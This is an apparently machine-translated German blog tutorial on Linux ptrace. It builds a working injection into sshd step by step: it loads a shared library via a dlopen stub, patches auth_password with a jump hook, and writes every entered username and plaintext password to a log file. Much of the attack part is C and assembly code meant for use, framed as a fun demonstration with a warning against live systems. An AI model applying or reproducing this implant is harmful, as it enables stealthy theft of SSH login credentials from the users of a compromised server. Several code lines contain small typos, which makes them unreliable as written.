Eine Einführung in ptrace oder Code Injection in sshd zum Spaß



Das Ziel, das ich mir gesetzt habe, war sehr einfach: das in sshd eingegebene Passwort mit ptrace zu lernen. Natürlich ist dies eine etwas künstliche Aufgabe, da es viele andere, effektivere Möglichkeiten gibt, um das zu erreichen, was Sie wollen (und mit einer viel geringeren Wahrscheinlichkeit, SEGV zu bekommen), aber es schien mir cool, genau das zu tun.

Was ist ptrace?


Diejenigen, die mit Injektionen unter Windows vertraut sind, kennen wahrscheinlich die Funktionen VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() und CreateRemoteThread() . Mit diesen Aufrufen können Sie Speicher zuweisen und Threads in einem anderen Prozess starten. In der Linux-Welt stellt uns der Kernel ptrace , dank dessen Debugger mit dem laufenden Prozess interagieren können.

Ptrace bietet verschiedene nützliche Debugging-Vorgänge, zum Beispiel:

  • PTRACE_ATTACH - Ermöglicht es Ihnen, einem einzelnen Prozess beizutreten, indem Sie einen debuggten Prozess anhalten
  • PTRACE_PEEKTEXT - Ermöglicht das Lesen von Daten aus dem Adressraum eines anderen Prozesses
  • PTRACE_POKETEXT - Ermöglicht das Schreiben von Daten in den Adressraum eines anderen Prozesses
  • PTRACE_GETREGS - Liest den aktuellen Status der Prozessregister
  • PTRACE_SETREGS - zeichnet den Status von Prozessregistern auf
  • PTRACE_CONT - setzt die Ausführung des debuggten Prozesses fort

Obwohl dies keine vollständige Liste der ptrace-Funktionen ist, stieß ich aufgrund des Mangels an Funktionen, die mir aus Win32 bekannt sind, auf Schwierigkeiten. Unter Windows können Sie beispielsweise Speicher in einem anderen Prozess mithilfe der Funktion VirtualAllocEx() , die einen Zeiger auf den neu zugewiesenen Speicher zurückgibt. Da dies in ptrace nicht vorhanden ist, müssen Sie improvisieren, wenn Sie Ihren Code in einen anderen Prozess einbetten möchten.

Dann überlegen wir uns, wie Sie mit ptrace die Kontrolle über einen Prozess übernehmen können.

Ptrace Grundlagen


Das erste, was wir tun müssen, ist, uns dem für uns interessanten Prozess anzuschließen. Rufen Sie dazu einfach ptrace mit dem Parameter PTRACE_ATTACH auf:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

Dieser Aufruf ist einfach wie ein Stau und akzeptiert die PID des Prozesses, dem wir beitreten möchten. Wenn ein Anruf erfolgt, wird ein SIGSTOP-Signal gesendet, das den interessierenden Prozess zum Stoppen zwingt.

Nach dem Beitritt gibt es einen Grund, den Status aller Register zu speichern, bevor wir beginnen, etwas zu ändern. Dadurch können wir das Programm später wiederherstellen:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

Als nächstes müssen Sie einen Ort finden, an dem wir unseren Code schreiben können. Am einfachsten ist es, Informationen aus der Maps-Datei zu extrahieren, die in procfs für jeden Prozess enthalten sind. Zum Beispiel sieht "/ proc / PID / maps" in einem laufenden sshd-Prozess unter Ubuntu folgendermaßen aus:



Wir müssen den Speicherbereich finden, dem das Recht zur Ausführung zugewiesen wurde (höchstwahrscheinlich "r-xp"). Sobald wir den Bereich finden, der zu uns passt, speichern wir analog zu den Registern den Inhalt, damit wir später die Arbeit korrekt wiederherstellen können:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

Mit ptrace können Sie ein Maschinendatenwort (32 Bit bei x86 oder 64 Bit bei x86_64) an der angegebenen Adresse lesen. Um also mehr Daten zu lesen, müssen Sie mehrere Anrufe tätigen und die Adresse erhöhen.

Hinweis: Unter Linux gibt es auch process_vm_readv () und process_vm_writev (), um mit dem Adressraum eines anderen Prozesses zu arbeiten. In diesem Artikel werde ich mich jedoch an die Verwendung von ptrace halten. Wenn Sie etwas anderes machen möchten, lesen Sie besser diese Funktionen.

Nachdem wir den gewünschten Speicherbereich gesichert haben, können wir mit dem Überschreiben beginnen:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Wie bei PTRACE_PEEKTEXT kann dieser Aufruf jeweils nur ein Maschinenwort an der angegebenen Adresse aufzeichnen. Das Schreiben von mehr als einem Maschinenwort erfordert außerdem viele Anrufe.

Nachdem Sie Ihren Code geladen haben, müssen Sie die Kontrolle darauf übertragen. Um die Daten im Speicher (z. B. den Stapel) nicht zu überschreiben, verwenden wir die zuvor gespeicherten Register:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

Schließlich können wir die Ausführung mit PTRACE_CONT fortsetzen:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

Aber woher wissen wir, dass die Ausführung unseres Codes abgeschlossen ist? Wir werden einen Software-Interrupt verwenden, der auch als "int 0x03" -Anweisung bekannt ist und SIGTRAP generiert. Wir werden mit waitpid () darauf warten:

 waitpid(pid, &status, WUNTRACED); 

waitpid () - Ein blockierender Aufruf, der darauf wartet, dass der Prozess mit der PID-Kennung beendet wird, und den Grund für den Stopp in die Statusvariable schreibt. Hier gibt es übrigens eine Reihe von Makros, die das Leben vereinfachen, um den Grund für den Stopp herauszufinden.

Um herauszufinden, ob aufgrund von SIGTRAP (aufgrund des Aufrufs von int 0x03) ein Stopp aufgetreten ist, können wir Folgendes tun:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

Zu diesem Zeitpunkt wurde unser eingebetteter Code bereits ausgeführt und wir müssen lediglich den ursprünglichen Zustand des Prozesses wiederherstellen. Stellen Sie alle Register wieder her:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

Dann werden wir die Originaldaten im Speicher zurückgeben:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Und trennen Sie sich vom Prozess:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

Das ist genug Theorie. Kommen wir zum interessanteren Teil.

Sshd Injektion


Ich muss warnen, dass die Möglichkeit besteht, dass sshd gelöscht wird. Seien Sie also vorsichtig und versuchen Sie nicht, dies auf einem funktionierenden System und insbesondere auf einem Remote-System über SSH: D zu überprüfen

Darüber hinaus gibt es mehrere bessere Möglichkeiten, um das gleiche Ergebnis zu erzielen. Ich demonstriere diese ausschließlich als unterhaltsame Möglichkeit, die Kraft von ptrace zu demonstrieren (stimme zu, dass dies besser ist als die Injektion in Hello World;)

Das einzige, was ich tun wollte, war, die Login-Passwort-Kombination von sshd zu erhalten, wenn der Benutzer authentifiziert ist. Wenn wir den Quellcode anzeigen, sehen wir ungefähr Folgendes:

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

Es scheint ein großartiger Ort zu sein, um zu versuchen, den vom Benutzer im Klartext übermittelten Benutzernamen / Passwort zu entfernen.

Wir möchten eine Funktionssignatur finden, mit der wir ihre [Funktion] im Speicher finden können. Ich verwende mein Lieblingsdienstprogramm zur Demontage, radare2:



Es ist notwendig, eine Folge von Bytes zu finden, die eindeutig ist und nur in der Funktion auth_password vorkommt. Dazu verwenden wir die Suche in radare2:



Es kam vor, dass die Sequenz xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 unseren Anforderungen und wird nur einmal in der gesamten ELF-Datei gefunden.

Als Hinweis ... Wenn Sie diese Sequenz nicht haben, stellen Sie sicher, dass Sie über die neueste Version verfügen, wodurch auch die Sicherheitsanfälligkeit von Mitte 2016 geschlossen wird. (In Version 7.6 ist diese Sequenz ebenfalls eindeutig - ca. Per.)

Der nächste Schritt ist die Code-Injektion.

Laden Sie .so auf sshd herunter


Um unseren Code in sshd zu laden, erstellen wir einen kleinen Stub, mit dem wir dlopen () aufrufen und eine dynamische Bibliothek laden können, die bereits die Ersetzung von "auth_password" implementiert.

dlopen () ist ein Aufruf zur dynamischen Verknüpfung, der den Pfad zur dynamischen Bibliothek in Argumenten verwendet und in den Adressraum des aufrufenden Prozesses lädt. Diese Funktion befindet sich in libdl.so, das dynamisch mit der Anwendung verknüpft ist.

Glücklicherweise ist in unserem Fall libdl.so bereits in sshd geladen, sodass wir nur dlopen () ausführen müssen. Aufgrund von ASLR ist es jedoch sehr unwahrscheinlich, dass sich dlopen () jedes Mal am selben Ort befindet, sodass Sie die Adresse im sshd-Speicher finden müssen.

Um die Adresse der Funktion zu finden, müssen Sie den Offset berechnen - die Differenz zwischen der Adresse der Funktion dlopen () und der Startadresse von libdl.so:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

Nachdem wir den Offset berechnet haben, müssen wir die Startadresse von libdl.so aus der Map-Datei ermitteln:



Wenn wir die Basisadresse von libdl.so in sshd kennen (0x7f0490a0d000, wie im obigen Screenshot gezeigt), können wir einen Offset hinzufügen und die Adresse dlopen () aus dem Injektionscode aufrufen.

Wir werden alle notwendigen Adressen mit PTRACE_SETREGS durch die Register leiten.

Es ist auch erforderlich, den Pfad zur implantierten Bibliothek in den sshd-Adressraum zu schreiben, zum Beispiel:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

Indem wir während der Vorbereitung der Injektion so viel wie möglich tun und die Zeiger auf die Argumente direkt in die Register laden, können wir den Injektionscode vereinfachen. Zum Beispiel:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

Das heißt, die Code-Injection ist ganz einfach:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

Es ist Zeit, unsere dynamische Bibliothek zu erstellen, die mit Injektionscode geladen wird.

Bevor wir fortfahren, sollten Sie eine wichtige Sache berücksichtigen, die verwendet wird ... den dynamischen Bibliothekskonstruktor.

Konstruktor in dynamischen Bibliotheken


Dynamische Bibliotheken können beim Laden Code ausführen. Markieren Sie dazu die Funktionen mit dem Decoder "__attribute __ ((Konstruktor))". Zum Beispiel:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

Sie können mit einem einfachen Befehl kopieren:

 gcc -o test.so --shared -fPIC test.c 

Und dann überprüfen Sie die Leistung:

 dlopen("./test.so", RTLD_LAZY); 

Wenn die Bibliothek geladen wird, wird der Konstruktor auch aufgerufen:



Wir verwenden diese Funktionalität auch, um unser Leben zu erleichtern, wenn wir Code in den Adressraum eines anderen Prozesses einfügen.

Dynamische Sshd-Bibliothek


Nachdem wir nun die Möglichkeit haben, unsere dynamische Bibliothek zu laden, müssen wir Code erstellen, der das Verhalten von auth_password () zur Laufzeit ändert.

Wenn unsere dynamische Bibliothek geladen ist, können wir die sshd-Startadresse mithilfe der Datei "/ proc / self / maps" in procfs finden. Wir suchen nach einem Bereich mit "rx" -Berechtigungen, in dem wir nach einer eindeutigen Sequenz in auth_password () suchen:

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

Da wir nach einer Reihe von Adressen suchen müssen, suchen wir nach einer Funktion:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

Wenn wir eine Übereinstimmung finden, müssen Sie mprotect () verwenden, um die Berechtigungen für den Speicherbereich zu ändern. Dies liegt alles daran, dass der Speicherbereich lesbar und ausführbar ist und Schreibänderungen für Änderungen unterwegs erforderlich sind:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

Nun, wir haben das Recht, in den gewünschten Speicherbereich zu schreiben, und jetzt ist es an der Zeit, am Anfang der auth_password-Funktion ein kleines Sprungbrett hinzuzufügen, das die Steuerung an den Hook weitergibt:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

Dies entspricht diesem Code:

 mov rax, 0x4142434445464748 jmp rax 

Natürlich ist die Adresse 0x4142434445464748 nicht für uns geeignet und wird durch die Adresse unseres Hakens ersetzt:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

Jetzt können wir einfach unser Sprungbrett in sshd einfügen. Setzen Sie das Sprungbrett ganz am Anfang der Funktion ein, um die Injektion schön und sauber zu machen:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

Jetzt müssen wir einen Hook implementieren, der sich mit der Protokollierung übergebener Daten befasst. Wir müssen sicher sein, dass wir alle Register vor dem Start des Hooks gespeichert und wiederhergestellt haben, bevor wir zum ursprünglichen Code zurückkehren:

Hook-Quellcode
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


Nun, das ist alles ... in gewisser Weise ...

Leider ist dies nach all dem nicht alles. Selbst wenn die SSH-Code-Injektion fehlgeschlagen ist, stellen Sie möglicherweise fest, dass die gesuchten Benutzerkennwörter immer noch nicht verfügbar sind. Dies liegt an der Tatsache, dass sshd für jede Verbindung ein neues untergeordnetes Element erstellt. Es ist das neue Kind, das die Verbindung verarbeitet, und in ihm müssen wir den Haken setzen.

Um sicherzugehen, dass wir mit sshd-Kindern arbeiten, habe ich mich entschlossen, procfs nach Statistikdateien zu durchsuchen, in denen die übergeordnete PID sshd angegeben ist. Sobald ein solcher Prozess gefunden wird, startet der Injektor für ihn.

Dies hat sogar Vorteile. Wenn alles schief geht und die Code-Injection von SIGSEGV abfällt, wird nur der Prozess eines Benutzers beendet und nicht der übergeordnete sshd-Prozess. Nicht der größte Trost, aber es erleichtert eindeutig das Debuggen.

Injektion in Aktion


Ok, sehen wir uns die Demo an:



Den vollständigen Code finden Sie hier .

Ich hoffe, diese Reise hat Ihnen genug Informationen gegeben, um sich selbst zu verfolgen.

Ich möchte den folgenden Personen und Websites danken, die beim Umgang mit ptrace geholfen haben:

Source: https://habr.com/ru/post/de430302/


All Articles